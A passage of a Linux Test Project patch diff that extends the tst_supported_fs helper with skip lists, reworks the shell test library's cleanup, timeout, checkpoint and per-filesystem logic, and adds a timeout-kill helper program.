+	fprintf(stderr, "   if fs_type is supported, return 0 otherwise return 1\n\n");
+
+	fprintf(stderr, "tst_supported_fs -s skip_list fs_type\n");
+	fprintf(stderr, "   if fs_type is in skip_list, return 1 otherwise return 0\n\n");
+
+	fprintf(stderr, "tst_supported_fs -s skip_list -d path\n");
+	fprintf(stderr, "   if filesystem mounted on path is in skip_list, return 1 otherwise return 0\n\n");
+
+	fprintf(stderr, "fs_type - a specified filesystem type\n");
+	fprintf(stderr, "skip_list - filesystems to skip, delimiter: '%c'\n",
+			SKIP_DELIMITER);
+	fprintf(stderr, "path - any valid file or directory\n");
+}
+
+static char **parse_skiplist(char *fs)
+{
+	char **skiplist;
+	int i, cnt = 1;
+
+	for (i = 0; fs[i]; i++) {
+		if (optarg[i] == SKIP_DELIMITER)
+			cnt++;
+	}
+
+	skiplist = malloc(++cnt * sizeof(char *));
+	if (!skiplist) {
+		fprintf(stderr, "malloc() failed\n");
+		return NULL;
+	}
+
+	for (i = 0; i < cnt; i++)
+		skiplist[i] = strtok_r(fs, TST_TO_STR(SKIP_DELIMITER), &fs);
+
+	return skiplist;
 }
 
 int main(int argc, char *argv[])
 {
-	const char *skiplist[] = {"tmpfs", NULL};
 	const char *const *filesystems;
-	int i;
+	const char *fsname = NULL;
+	int i, ret;
+	char **skiplist = NULL;
 
-	if (argc > 2) {
-		fprintf(stderr, "Can't specify multiple fs_type\n");
-		usage();
-		return 2;
+	while ((ret = getopt(argc, argv, "d:hs:"))) {
+		if (ret < 0)
+			break;
+
+		switch (ret) {
+		case '?':
+			usage();
+			return 2;
+
+		case 'h':
+			usage();
+			return 0;
+
+		case 's':
+			skiplist = parse_skiplist(optarg);
+			if (!skiplist)
+				return 2;
+			break;
+
+		case 'd':
+			if (fsname)
+				err_exit("Can't specify multiple paths");
+
+			fsname = tst_fs_type_name(tst_fs_type(optarg));
+			break;
+		}
 	}
 
-	if (argv[1] && !strcmp(argv[1], "-h")) {
-		usage();
-		return 0;
+	if (fsname && !skiplist)
+		err_exit("Parameter -d requires skiplist");
+
+	if (argc - optind > 1)
+		err_exit("Can't specify multiple fs_type");
+
+	/* fs_type */
+	if (optind < argc) {
+		if (fsname)
+			err_exit("Can't specify fs_type and -d together");
+
+		fsname = argv[optind];
 	}
 
-	if (argv[1])
-		return !tst_fs_is_supported(argv[1]);
+	if (fsname) {
+		if (fsname[0] == '\0')
+			err_exit("fs_type is empty");
 
-	filesystems = tst_get_supported_fs_types(skiplist);
+		if (skiplist) {
+			if (tst_fs_in_skiplist(fsname, (const char * const*)skiplist))
+				fail_exit("%s is skipped", fsname);
+
+			info_exit("%s is not skipped", fsname);
+		}
+
+		if (tst_fs_is_supported(fsname) == TST_FS_UNSUPPORTED)
+			fail_exit("%s is not supported", fsname);
+
+		info_exit("%s is supported", fsname);
+	}
+
+	/* all filesystems */
+	filesystems = tst_get_supported_fs_types((const char * const*)skiplist);
+
+	if (!filesystems[0])
+		fail_exit("There are no supported filesystems or all skipped");
+
 	for (i = 0; filesystems[i]; i++)
 		printf("%s\n", filesystems[i]);
 
diff --git a/testcases/lib/tst_test.sh b/testcases/lib/tst_test.sh
index 3a5651c..864c9e2 100644
--- a/testcases/lib/tst_test.sh
+++ b/testcases/lib/tst_test.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) Linux Test Project, 2014-2021
+# Copyright (c) Linux Test Project, 2014-2022
 # Author: Cyril Hrubis <chrubis@suse.cz>
 #
 # LTP test library for shell.
@@ -17,24 +17,38 @@
 export TST_TMPDIR_RHOST=0
 export TST_LIB_LOADED=1
 
+if [ -z "$TST_FS_TYPE" ]; then
+	export TST_FS_TYPE="${LTP_DEV_FS_TYPE:-ext2}"
+fi
+
 . tst_ansi_color.sh
 . tst_security.sh
 
 # default trap function
-trap "tst_brk TBROK 'test interrupted or timed out'" INT
+trap "tst_brk TBROK 'test interrupted'" INT
+trap "unset _tst_setup_timer_pid; tst_brk TBROK 'test terminated'" TERM
+
+_tst_do_cleanup()
+{
+	if [ -n "$TST_DO_CLEANUP" -a -n "$TST_CLEANUP" -a -z "$TST_NO_CLEANUP" ]; then
+		if command -v $TST_CLEANUP >/dev/null 2>/dev/null; then
+			$TST_CLEANUP
+		else
+			tst_res TWARN "TST_CLEANUP=$TST_CLEANUP declared, but function not defined (or cmd not found)"
+		fi
+	fi
+	TST_DO_CLEANUP=
+}
 
 _tst_do_exit()
 {
 	local ret=0
 	TST_DO_EXIT=1
 
-	if [ -n "$TST_DO_CLEANUP" -a -n "$TST_CLEANUP" -a -z "$TST_NO_CLEANUP" ]; then
-		if type $TST_CLEANUP >/dev/null 2>/dev/null; then
-			$TST_CLEANUP
-		else
-			tst_res TWARN "TST_CLEANUP=$TST_CLEANUP declared, but function not defined (or cmd not found)"
-		fi
-	fi
+	_tst_do_cleanup
+
+	cd "$LTPROOT"
+	[ "$TST_MOUNT_FLAG" = 1 ] && tst_umount
 
 	if [ "$TST_NEEDS_DEVICE" = 1 -a "$TST_DEVICE_FLAG" = 1 ]; then
 		if ! tst_device release "$TST_DEVICE"; then
@@ -43,11 +57,14 @@
 	fi
 
 	if [ "$TST_NEEDS_TMPDIR" = 1 -a -n "$TST_TMPDIR" ]; then
-		cd "$LTPROOT"
 		rm -r "$TST_TMPDIR"
 		[ "$TST_TMPDIR_RHOST" = 1 ] && tst_cleanup_rhost
 	fi
 
+	if [ -n "$TST_NEEDS_CHECKPOINTS" -a -f "$LTP_IPC_PATH" ]; then
+		rm $LTP_IPC_PATH
+	fi
+
 	_tst_cleanup_timer
 
 	if [ $TST_FAIL -gt 0 ]; then
@@ -70,13 +87,15 @@
 		_tst_check_security_modules
 	fi
 
-	echo
-	echo "Summary:"
-	echo "passed   $TST_PASS"
-	echo "failed   $TST_FAIL"
-	echo "broken   $TST_BROK"
-	echo "skipped  $TST_CONF"
-	echo "warnings $TST_WARN"
+	cat >&2 << EOF
+
+Summary:
+passed   $TST_PASS
+failed   $TST_FAIL
+broken   $TST_BROK
+skipped  $TST_CONF
+warnings $TST_WARN
+EOF
 
 	exit $ret
 }
@@ -99,9 +118,6 @@
 	local res=$1
 	shift
 
-	tst_color_enabled
-	local color=$?
-
 	_tst_inc_res "$res"
 
 	printf "$TST_ID $TST_COUNT " >&2
@@ -125,7 +141,9 @@
 
 ROD_SILENT()
 {
-	local tst_out="$(tst_rod $@ 2>&1)"
+	local tst_out
+
+	tst_out="$(tst_rod $@ 2>&1)"
 	if [ $? -ne 0 ]; then
 		echo "$tst_out"
 		tst_brk TBROK "$@ failed"
@@ -252,17 +270,40 @@
 	tst_brk TBROK "$@ failed: $output"
 }
 
+TST_CHECKPOINT_WAIT()
+{
+	ROD tst_checkpoint wait 10000 "$1"
+}
+
+TST_CHECKPOINT_WAKE()
+{
+	ROD tst_checkpoint wake 10000 "$1" 1
+}
+
+TST_CHECKPOINT_WAKE2()
+{
+	ROD tst_checkpoint wake 10000 "$1" "$2"
+}
+
+TST_CHECKPOINT_WAKE_AND_WAIT()
+{
+	TST_CHECKPOINT_WAKE "$1"
+	TST_CHECKPOINT_WAIT "$1"
+}
+
 tst_mount()
 {
-	local mnt_opt mnt_err
+	local mnt_opt mnt_err mnt_real
 
 	if [ -n "$TST_FS_TYPE" ]; then
 		mnt_opt="-t $TST_FS_TYPE"
 		mnt_err=" $TST_FS_TYPE type"
 	fi
+	local cmd="mount $mnt_opt $TST_DEVICE $TST_MNTPOINT $TST_MNT_PARAMS"
 
 	ROD_SILENT mkdir -p $TST_MNTPOINT
-	mount $mnt_opt $TST_DEVICE $TST_MNTPOINT $TST_MNT_PARAMS
+	tst_res TINFO "Mounting device: $cmd"
+	$cmd
 	local ret=$?
 
 	if [ $ret -eq 32 ]; then
@@ -276,69 +317,84 @@
 
 tst_umount()
 {
-	local device="${1:-$TST_DEVICE}"
+	local mntpoint="${1:-$TST_MNTPOINT}"
 	local i=0
 
-	[ -z "$device" ] && return
+	[ -z "$mntpoint" ] && return
 
-	if ! grep -q "$device" /proc/mounts; then
-		tst_res TINFO "The $device is not mounted, skipping umount"
+	if ! echo "$mntpoint" | grep -q ^/; then
+		tst_brk TCONF "The '$mntpoint' is not an absolute path"
+	fi
+
+	if ! grep -q "${mntpoint%/}" /proc/mounts; then
+		tst_res TINFO "The '$mntpoint' is not mounted, skipping umount"
 		return
 	fi
 
 	while [ "$i" -lt 50 ]; do
-		if umount "$device" > /dev/null; then
+		if umount "$mntpoint" > /dev/null; then
 			return
 		fi
 
 		i=$((i+1))
 
-		tst_res TINFO "umount($device) failed, try $i ..."
+		tst_res TINFO "umount($mntpoint) failed, try $i ..."
 		tst_res TINFO "Likely gvfsd-trash is probing newly mounted "\
 		              "fs, kill it to speed up tests."
 
 		tst_sleep 100ms
 	done
 
-	tst_res TWARN "Failed to umount($device) after 50 retries"
+	tst_res TWARN "Failed to umount($mntpoint) after 50 retries"
 }
 
 tst_mkfs()
 {
+	local opts
 	local fs_type=${1:-$TST_FS_TYPE}
-	local device=${2:-$TST_DEVICE}
 	[ $# -ge 1 ] && shift
-	[ $# -ge 1 ] && shift
-	local fs_opts="$@"
 
-	if [ -z "$fs_type" ]; then
-		tst_brk TBROK "No fs_type specified"
+	opts="$@"
+
+	if [ "$fs_type" = tmpfs ]; then
+		tst_res TINFO "Skipping mkfs for TMPFS filesystem"
+		return
 	fi
 
-	if [ -z "$device" ]; then
-		tst_brk TBROK "No device specified"
+	if [ -z "$opts" ]; then
+		if [ "$TST_NEEDS_DEVICE" != 1 ]; then
+			tst_brk "Using default parameters in tst_mkfs requires TST_NEEDS_DEVICE=1"
+		fi
+		opts="$TST_DEVICE"
 	fi
 
 	tst_require_cmds mkfs.$fs_type
 
-	tst_res TINFO "Formatting $device with $fs_type extra opts='$fs_opts'"
-	ROD_SILENT mkfs.$fs_type $fs_opts $device
+	tst_res TINFO "Formatting $fs_type with opts='$opts'"
+	ROD_SILENT mkfs.$fs_type $opts
+}
+
+# Detect whether running under hypervisor: Microsoft Hyper-V
+# Return 0: running under Hyper-V
+# Return 1: not running under Hyper-V (bare metal, other hypervisor or
+#           failure of detection)
+tst_virt_hyperv()
+{
+	local v
+
+	tst_cmd_available systemd-detect-virt || return 1
+
+	v="$(systemd-detect-virt)"
+
+	[ $? -eq 0 ] || return 1
+	[ "$v" = "microsoft" ] || return 1
+
+	return 0
 }
 
 tst_cmd_available()
 {
-	if type command > /dev/null 2>&1; then
-		command -v $1 > /dev/null 2>&1 || return 1
-	else
-		which $1 > /dev/null 2>&1
-		if [ $? -eq 0 ]; then
-			return 0
-		elif [ $? -eq 127 ]; then
-			tst_brk TCONF "missing which command"
-		else
-			return 1
-		fi
-	fi
+	command -v $1 >/dev/null 2>&1
 }
 
 tst_require_cmds()
@@ -373,6 +429,26 @@
 	return 0
 }
 
+tst_require_kconfigs()
+{
+	local delim
+
+	if [ $# -gt 2 ]; then
+		return 0
+	elif [ $# -eq 1 ]; then
+		delim="$TST_NEEDS_KCONFIGS_IFS"
+	else
+		delim="$2"
+	fi
+
+	[ -z "$1" ] && return 0
+
+	tst_check_kconfigs "$1" "$delim" > /dev/null
+
+	[ $? -ne 0 ] && tst_brk TCONF "Aborting due to unsuitable kernel config, see above!"
+	return 0
+}
+
 tst_is_int()
 {
 	[ "$1" -eq "$1" ] 2>/dev/null
@@ -390,11 +466,28 @@
 		$TST_USAGE
 	else
 		echo "usage: $0"
-		echo "OPTIONS"
+		echo
+		echo "Options"
+		echo "-------"
 	fi
 
 	echo "-h      Prints this help"
 	echo "-i n    Execute test n times"
+
+	cat << EOF
+
+Environment Variables
+---------------------
+KCONFIG_PATH         Specify kernel config file
+KCONFIG_SKIP_CHECK   Skip kernel config check if variable set (not set by default)
+LTPROOT              Prefix for installed LTP (default: /opt/ltp)
+LTP_COLORIZE_OUTPUT  Force colorized output behaviour (y/1 always, n/0: never)
+LTP_DEV              Path to the block device to be used (for .needs_device)
+LTP_DEV_FS_TYPE      Filesystem used for testing (default: ext2)
+LTP_SINGLE_FS_TYPE   Testing only - specifies filesystem instead all supported (for TST_ALL_FILESYSTEMS=1)
+LTP_TIMEOUT_MUL      Timeout multiplier (must be a number >=1, ceiled to int)
+TMPDIR               Base directory for template directory (for .needs_tmpdir, default: /tmp)
+EOF
 }
 
 _tst_resstr()
@@ -435,47 +528,15 @@
 	return 0
 }
 
-_tst_kill_test()
-{
-	local i=10
-
-	trap '' INT
-	tst_res TBROK "Test timeouted, sending SIGINT! If you are running on slow machine, try exporting LTP_TIMEOUT_MUL > 1"
-	kill -INT -$pid
-	tst_sleep 100ms
-
-	while kill -0 $pid >/dev/null 2>&1 && [ $i -gt 0 ]; do
-		tst_res TINFO "Test is still running, waiting ${i}s"
-		sleep 1
-		i=$((i-1))
-	done
-
-	if kill -0 $pid >/dev/null 2>&1; then
-		tst_res TBROK "Test still running, sending SIGKILL"
-		kill -KILL -$pid
-	fi
-}
-
 _tst_cleanup_timer()
 {
 	if [ -n "$_tst_setup_timer_pid" ]; then
 		kill -TERM $_tst_setup_timer_pid 2>/dev/null
-		wait $_tst_setup_timer_pid 2>/dev/null
+		# kill is succesful only on test timeout
+		wait $_tst_setup_timer_pid 2>/dev/null || true
 	fi
 }
 
-_tst_timeout_process()
-{
-	local sleep_pid
-
-	sleep $sec &
-	sleep_pid=$!
-	trap "kill $sleep_pid; exit" TERM
-	wait $sleep_pid
-	trap - TERM
-	_tst_kill_test
-}
-
 _tst_setup_timer()
 {
 	TST_TIMEOUT=${TST_TIMEOUT:-300}
@@ -500,9 +561,21 @@
 
 	_tst_cleanup_timer
 
-	_tst_timeout_process &
+	tst_timeout_kill $sec $pid &
 
 	_tst_setup_timer_pid=$!
+
+	while true; do
+		local state
+
+		state=$(cut -d' ' -f3 "/proc/$_tst_setup_timer_pid/stat")
+
+		if [ "$state" = "S" ]; then
+			break;
+		fi
+
+		tst_sleep 1ms
+	done
 }
 
 tst_require_root()
@@ -539,51 +612,92 @@
 	_tst_setup_timer
 }
 
+_tst_init_checkpoints()
+{
+	local pagesize
+
+	LTP_IPC_PATH="/dev/shm/ltp_${TST_ID}_$$"
+	pagesize=$(tst_getconf PAGESIZE)
+	if [ $? -ne 0 ]; then
+		tst_brk TBROK "tst_getconf PAGESIZE failed"
+	fi
+	ROD_SILENT dd if=/dev/zero of="$LTP_IPC_PATH" bs="$pagesize" count=1
+	ROD_SILENT chmod 600 "$LTP_IPC_PATH"
+	export LTP_IPC_PATH
+}
+
+_prepare_device()
+{
+	if [ "$TST_FORMAT_DEVICE" = 1 ]; then
+		tst_device clear "$TST_DEVICE"
+		tst_mkfs $TST_FS_TYPE $TST_DEV_FS_OPTS $TST_DEVICE $TST_DEV_EXTRA_OPTS
+	fi
+
+	if [ "$TST_MOUNT_DEVICE" = 1 ]; then
+		tst_mount
+		TST_MOUNT_FLAG=1
+	fi
+}
+
+_tst_run_tcases_per_fs()
+{
+	local fs
+	local filesystems
+
+	filesystems="$(tst_supported_fs -s "$TST_SKIP_FILESYSTEMS")"
+	if [ $? -ne 0 ]; then
+		tst_brk TCONF "There are no supported filesystems or all skipped"
+	fi
+
+	for fs in $filesystems; do
+		tst_res TINFO "=== Testing on $fs ==="
+		TST_FS_TYPE="$fs"
+		_tst_run_iterations
+	done
+}
+
 tst_run()
 {
 	local _tst_i
 	local _tst_data
 	local _tst_max
 	local _tst_name
+	local _tst_pattern='[='\''"} \t\/:`$\;|].*'
+	local ret
 
 	if [ -n "$TST_TEST_PATH" ]; then
-		for _tst_i in $(grep '^[^#]*\bTST_' "$TST_TEST_PATH" | sed 's/.*TST_//; s/[="} \t\/:`].*//'); do
+		for _tst_i in $(grep '^[^#]*\bTST_' "$TST_TEST_PATH" | sed "s/.*TST_//; s/$_tst_pattern//"); do
 			case "$_tst_i" in
-			DISABLE_APPARMOR|DISABLE_SELINUX);;
+			ALL_FILESYSTEMS|DISABLE_APPARMOR|DISABLE_SELINUX);;
 			SETUP|CLEANUP|TESTFUNC|ID|CNT|MIN_KVER);;
 			OPTS|USAGE|PARSE_ARGS|POS_ARGS);;
 			NEEDS_ROOT|NEEDS_TMPDIR|TMPDIR|NEEDS_DEVICE|DEVICE);;
 			NEEDS_CMDS|NEEDS_MODULE|MODPATH|DATAROOT);;
 			NEEDS_DRIVERS|FS_TYPE|MNTPOINT|MNT_PARAMS);;
+			NEEDS_KCONFIGS|NEEDS_KCONFIGS_IFS);;
 			IPV6|IPV6_FLAG|IPVER|TEST_DATA|TEST_DATA_IFS);;
 			RETRY_FUNC|RETRY_FN_EXP_BACKOFF|TIMEOUT);;
 			NET_DATAROOT|NET_MAX_PKT|NET_RHOST_RUN_DEBUG|NETLOAD_CLN_NUMBER);;
+			NET_SKIP_VARIABLE_INIT|NEEDS_CHECKPOINTS);;
+			CHECKPOINT_WAIT|CHECKPOINT_WAKE);;
+			CHECKPOINT_WAKE2|CHECKPOINT_WAKE_AND_WAIT);;
+			DEV_EXTRA_OPTS|DEV_FS_OPTS|FORMAT_DEVICE|MOUNT_DEVICE);;
+			SKIP_FILESYSTEMS);;
 			*) tst_res TWARN "Reserved variable TST_$_tst_i used!";;
 			esac
 		done
 
-		for _tst_i in $(grep '^[^#]*\b_tst_' "$TST_TEST_PATH" | sed 's/.*_tst_//; s/[="} \t\/:`].*//'); do
+		for _tst_i in $(grep '^[^#]*\b_tst_' "$TST_TEST_PATH" | sed "s/.*_tst_//; s/$_tst_pattern//"); do
 			tst_res TWARN "Private variable or function _tst_$_tst_i used!"
 		done
 	fi
 
-	OPTIND=1
-
-	while getopts ":hi:$TST_OPTS" _tst_name $TST_ARGS; do
-		case $_tst_name in
-		'h') tst_usage; exit 0;;
-		'i') TST_ITERATIONS=$OPTARG;;
-		'?') tst_usage; exit 2;;
-		*) $TST_PARSE_ARGS "$_tst_name" "$OPTARG";;
-		esac
-	done
-
 	if ! tst_is_int "$TST_ITERATIONS"; then
 		tst_brk TBROK "Expected number (-i) not '$TST_ITERATIONS'"
 	fi
 
-	if [ "$TST_ITERATIONS" -le 0 ]; then
-		tst_brk TBROK "Number of iterations (-i) must be > 0"
+	if [ "$TST_ITERATIONS" -lt 0 ]; then
+		tst_brk TBROK "Number of iterations (-i) must be >= 0"
 	fi
 
 	[ "$TST_NEEDS_ROOT" = 1 ] && tst_require_root
@@ -592,6 +706,7 @@
 	[ "$TST_DISABLE_SELINUX" = 1 ] && tst_disable_selinux
 
 	tst_require_cmds $TST_NEEDS_CMDS
+	tst_require_kconfigs "$TST_NEEDS_KCONFIGS"
 	tst_require_drivers $TST_NEEDS_DRIVERS
 
 	if [ -n "$TST_MIN_KVER" ]; then
@@ -599,10 +714,26 @@
 			tst_brk TCONF "test requires kernel $TST_MIN_KVER+"
 	fi
 
-	_tst_setup_timer
+	[ -n "$TST_NEEDS_MODULE" ] && tst_require_module "$TST_NEEDS_MODULE"
 
+	[ "$TST_MOUNT_DEVICE" = 1 ] && TST_FORMAT_DEVICE=1
+	[ "$TST_FORMAT_DEVICE" = 1 -o "$TST_ALL_FILESYSTEMS" = 1 ] && TST_NEEDS_DEVICE=1
 	[ "$TST_NEEDS_DEVICE" = 1 ] && TST_NEEDS_TMPDIR=1
 
+	if [ "$TST_NEEDS_DEVICE" = 1 ]; then
+		TST_DEVICE=$(tst_device acquire)
+
+		if [ ! -b "$TST_DEVICE" -o $? -ne 0 ]; then
+			unset TST_DEVICE
+			tst_brk TBROK "Failed to acquire device"
+		fi
+		TST_DEVICE_FLAG=1
+
+		if [ -z "$TST_FS_TYPE" ]; then
+			export TST_FS_TYPE="${LTP_DEV_FS_TYPE:-ext2}"
+		fi
+	fi
+
 	if [ "$TST_NEEDS_TMPDIR" = 1 ]; then
 		if [ -z "$TMPDIR" ]; then
 			export TMPDIR="/tmp"
@@ -613,27 +744,43 @@
 		chmod 777 "$TST_TMPDIR"
 
 		TST_STARTWD=$(pwd)
-
 		cd "$TST_TMPDIR"
 	fi
 
-	TST_MNTPOINT="${TST_MNTPOINT:-mntpoint}"
-	if [ "$TST_NEEDS_DEVICE" = 1 ]; then
-
-		TST_DEVICE=$(tst_device acquire)
-
-		if [ ! -b "$TST_DEVICE" -o $? -ne 0 ]; then
-			unset TST_DEVICE
-			tst_brk TBROK "Failed to acquire device"
+	if [ "$TST_ALL_FILESYSTEMS" != 1 -a "$TST_SKIP_FILESYSTEMS" ]; then
+		if ! tst_supported_fs -s "$TST_SKIP_FILESYSTEMS" -d . > /dev/null; then
+			tst_brk TCONF "filesystem is not supported by the test"
 		fi
 
-		TST_DEVICE_FLAG=1
+		tst_res TINFO "filesystem is supported by the test"
 	fi
 
-	[ -n "$TST_NEEDS_MODULE" ] && tst_require_module "$TST_NEEDS_MODULE"
+	[ -n "$TST_NEEDS_CHECKPOINTS" ] && _tst_init_checkpoints
+
+	TST_MNTPOINT="${TST_MNTPOINT:-$PWD/mntpoint}"
+
+	if [ "$TST_ALL_FILESYSTEMS" = 1 ]; then
+		_tst_run_tcases_per_fs
+	else
+		_tst_run_iterations
+	fi
+
+	_tst_do_exit
+}
+
+_tst_run_iterations()
+{
+	local _tst_i=$TST_ITERATIONS
+	local _tst_j
+
+	[ "$TST_NEEDS_TMPDIR" = 1 ] && cd "$TST_TMPDIR"
+
+	_prepare_device
+
+	_tst_setup_timer
 
 	if [ -n "$TST_SETUP" ]; then
-		if type $TST_SETUP >/dev/null 2>/dev/null; then
+		if command -v $TST_SETUP >/dev/null 2>/dev/null; then
 			TST_DO_CLEANUP=1
 			$TST_SETUP
 		else
@@ -642,20 +789,27 @@
 	fi
 
 	#TODO check that test reports some results for each test function call
-	while [ $TST_ITERATIONS -gt 0 ]; do
+	while [ $_tst_i -gt 0 ]; do
 		if [ -n "$TST_TEST_DATA" ]; then
 			tst_require_cmds cut tr wc
 			_tst_max=$(( $(echo $TST_TEST_DATA | tr -cd "$TST_TEST_DATA_IFS" | wc -c) +1))
-			for _tst_i in $(seq $_tst_max); do
-				_tst_data="$(echo "$TST_TEST_DATA" | cut -d"$TST_TEST_DATA_IFS" -f$_tst_i)"
+			for _tst_j in $(seq $_tst_max); do
+				_tst_data="$(echo "$TST_TEST_DATA" | cut -d"$TST_TEST_DATA_IFS" -f$_tst_j)"
 				_tst_run_tests "$_tst_data"
 			done
 		else
 			_tst_run_tests
 		fi
-		TST_ITERATIONS=$((TST_ITERATIONS-1))
+		_tst_i=$((_tst_i-1))
 	done
-	_tst_do_exit
+
+	_tst_do_cleanup
+
+	if [ "$TST_MOUNT_FLAG" = 1 ]; then
+		cd "$LTPROOT"
+		tst_umount
+		TST_MOUNT_FLAG=
+	fi
 }
 
 _tst_run_tests()
@@ -665,7 +819,7 @@
 
 	TST_DO_CLEANUP=1
 	for _tst_i in $(seq ${TST_CNT:-1}); do
-		if type ${TST_TESTFUNC}1 > /dev/null 2>&1; then
+		if command -v ${TST_TESTFUNC}1 > /dev/null 2>&1; then
 			_tst_run_test "$TST_TESTFUNC$_tst_i" $_tst_i "$_tst_data"
 		else
 			_tst_run_test "$TST_TESTFUNC" $_tst_i "$_tst_data"
@@ -711,6 +865,8 @@
 
 	TST_TEST_DATA_IFS="${TST_TEST_DATA_IFS:- }"
 
+	TST_NEEDS_KCONFIGS_IFS="${TST_NEEDS_KCONFIGS_IFS:-,}"
+
 	if [ -n "$TST_CNT" ]; then
 		if ! tst_is_int "$TST_CNT"; then
 			tst_brk TBROK "TST_CNT must be integer"
@@ -733,22 +889,26 @@
 
 	TST_ARGS="$@"
 
-	while getopts ":hi:$TST_OPTS" tst_name; do
-		case $tst_name in
-		'h') TST_PRINT_HELP=1;;
-		*);;
+	OPTIND=1
+
+	while getopts ":hi:$TST_OPTS" _tst_name $TST_ARGS; do
+		case $_tst_name in
+		'h') tst_usage; exit 0;;
+		'i') TST_ITERATIONS=$OPTARG;;
+		'?') tst_usage; exit 2;;
+		*) $TST_PARSE_ARGS "$_tst_name" "$OPTARG";;
 		esac
 	done
 
 	shift $((OPTIND - 1))
 
 	if [ -n "$TST_POS_ARGS" ]; then
-		if [ -z "$TST_PRINT_HELP" -a $# -ne "$TST_POS_ARGS" ]; then
+		if [ $# -ne "$TST_POS_ARGS" ]; then
 			tst_brk TBROK "Invalid number of positional parameters:"\
 					  "have ($@) $#, expected ${TST_POS_ARGS}"
 		fi
 	else
-		if [ -z "$TST_PRINT_HELP" -a $# -ne 0 ]; then
+		if [ $# -ne 0 ]; then
 			tst_brk TBROK "Unexpected positional arguments '$@'"
 		fi
 	fi
diff --git a/testcases/lib/tst_timeout_kill.c b/testcases/lib/tst_timeout_kill.c
new file mode 100644
index 0000000..93c8bce
--- /dev/null
+++ b/testcases/lib/tst_timeout_kill.c
@@ -0,0 +1,79 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 Cyril Hrubis <chrubis@suse.cz>
+ */
+
+#include <stdio.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <errno.h>
+#include <string.h>
+
+static void print_help(const char *name)
+{
+	fprintf(stderr, "usage: %s timeout pid\n", name);
+}
+
+#define print_msg(fmt, ...) fprintf(stderr, fmt "\n", ##__VA_ARGS__)
+
+int main(int argc, char *argv[])
+{
+	int timeout, pid, ret, i;
+
+	if (argc != 3) {
+		print_help(argv[0]);
+		return 1;
+	}
+
+	timeout = atoi(argv[1]);
+	pid = atoi(argv[2]);
+
+	if (timeout < 0) {
+		fprintf(stderr, "Invalid timeout '%s'\n", argv[1]);
+		print_help(argv[0]);
+		return 1;
+	}
+
+	if (pid <= 1) {
+		fprintf(stderr, "Invalid pid '%s'\n", argv[2]);
+		print_help(argv[0]);
+		return 1;
+	}
+
+	ret = setpgid(0, 0);
+	if (ret)
+		print_msg("setpgid() failed: %s", strerror(errno));
+
+	if (timeout)
+		sleep(timeout);
+
+	print_msg("Test timed out, sending SIGTERM!");
+	print_msg("If you are running on slow machine, try exporting LTP_TIMEOUT_MUL > 1");
+
+	ret = kill(-pid, SIGTERM);
+	if (ret) {
+		print_msg("kill(%i) failed: %s", -pid, strerror(errno));
+		return 1;
+	}
+
+	usleep(100000);
+
+	i = 10;
+
+	while (!kill(-pid, 0) && i-- > 0) {
+		print_msg("Test is still running... %i", i + 1);
+		sleep(1);
+	}
+
+	if (!kill(-pid, 0)) {
+		print_msg("Test is still running, sending SIGKILL");
+		ret = kill(-pid, SIGKILL);
+		if (ret) {
+			print_msg("kill(%i) failed: %s", -pid, strerror(errno));
+			return 1;
+		}
+	}
+
+	return 0;
+}
diff --git a/testcases/misc/Makefile b/testcases/misc/Makefile
index fee8dec..4569728 100644
--- a/testcases/misc/Makefile
+++ b/testcases/misc/Makefile
@@ -1,25 +1,7 @@
-#
-#    misc test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#    Copyright (C) 2010, Linux Test Project.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
+# Copyright (C) 2010, Linux Test Project.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../..
 
diff --git a/testcases/misc/crash/crash02.c b/testcases/misc/crash/crash02.c
index e46c2aa..c68f580 100644
--- a/testcases/misc/crash/crash02.c
+++ b/testcases/misc/crash/crash02.c
@@ -197,9 +197,8 @@
 void badboy_fork(void)
 {
 	int status, pid;
-	pid_t child;
-	child = fork();
-	badboy_pid = status;
+	pid_t child = fork();
+
 	switch (child) {
 	case -1:
 		perror("fork");
@@ -211,6 +210,7 @@
 #endif
 		exit(0);
 	default:
+		badboy_pid = child;
 		if (verbose_level > 3)
 			printf("badboy pid = %d\n", badboy_pid);
 
@@ -464,7 +464,8 @@
 		 */
 #if defined(__NR_vfork) && __NR_vfork
 		SYS_vfork,
-#elif defined(__NR_fork) && __NR_fork
+#endif
+#if defined(__NR_fork) && __NR_fork
 		SYS_fork,
 #endif
 #endif /* __ia64__ */
@@ -477,6 +478,13 @@
 #if defined(__NR_pause) && __NR_pause
 		__NR_pause,	/* int pause(void); - sleep indefinitely */
 #endif
+#if defined(__NR_read) && __NR_read
+		/*
+		 * ssize_t read(int fd, void *buf, size_t count); - will sleep
+		 * indefinitely if the first argument is 0
+		 */
+		__NR_read,
+#endif
 		-1
 	};
 
diff --git a/testcases/misc/lvm/cleanup_lvm.sh b/testcases/misc/lvm/cleanup_lvm.sh
index b41b413..f05289f 100755
--- a/testcases/misc/lvm/cleanup_lvm.sh
+++ b/testcases/misc/lvm/cleanup_lvm.sh
@@ -7,7 +7,6 @@
 TST_TESTFUNC=cleanup_lvm
 TST_NEEDS_ROOT=1
 TST_NEEDS_CMDS="losetup umount vgremove"
-. tst_test.sh
 
 LVM_DIR="${LVM_DIR:-/tmp}"
 LVM_TMPDIR="$LVM_DIR/ltp/growfiles"
@@ -32,4 +31,5 @@
 	tst_res TPASS "LVM configuration for LTP removed successfully."
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/misc/lvm/generate_lvm_runfile.sh b/testcases/misc/lvm/generate_lvm_runfile.sh
index 02a7972..7f7e149 100755
--- a/testcases/misc/lvm/generate_lvm_runfile.sh
